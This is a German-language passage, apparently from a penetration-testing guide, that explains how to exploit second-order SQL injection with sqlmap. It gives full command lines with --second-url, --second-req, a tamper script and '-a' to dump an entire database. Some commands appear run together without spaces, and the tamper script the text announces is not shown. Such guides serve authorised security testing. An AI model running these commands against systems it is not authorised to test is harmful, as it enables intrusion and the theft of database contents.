SQLMap kann Second Order SQLis ausnutzen.
Sie müssen bereitstellen:
Die Anfrage, in der die sqlinjection payload gespeichert wird
Die Anfrage, in der die payloadausgeführt wird
Die Anfrage, in der die SQL-Injection-Payload gespeichert ist, wird wie bei jeder anderen Injection in sqlmap angegeben. Die Anfrage, in der sqlmap die Ausgabe/Ausführung der Injection lesen kann, kann mit --second-url oder mit --second-req angegeben werden, wenn Sie eine vollständige Anfrage aus einer Datei angeben müssen.
Ein einfaches Beispiel für die zweite Ordnung:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
In mehreren Fällen wird dies nicht ausreichen, da Sie andere Aktionen ausführen müssen, abgesehen davon, das Payload zu senden und auf eine andere Seite zuzugreifen.
Wenn dies erforderlich ist, können Sie einen sqlmap tamper verwenden. Zum Beispiel wird das folgende Skript einen neuen Benutzer unter Verwendung des sqlmap Payloads als E-Mail registrieren und sich abmelden.
Ein SQLMap-Tamper wird immer ausgeführt, bevor ein Injektionsversuch mit einem Payload gestartet wirdund er muss einen Payload zurückgeben. In diesem Fall interessiert uns der Payload nicht, sondern wir möchten einige Anfragen senden, sodass der Payload nicht geändert wird.
Wenn wir aus irgendeinem Grund einen komplexeren Ablauf benötigen, um die zweite Ordnung SQL-Injektion auszunutzen, wie zum Beispiel:
Ein Konto mit dem SQLi-Payload im "E-Mail"-Feld erstellen
Abmelden
Mit diesem Konto anmelden (login.txt)
Eine Anfrage senden, um die SQL-Injektion auszuführen (second.txt)
Diese sqlmap-Zeile wird helfen:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all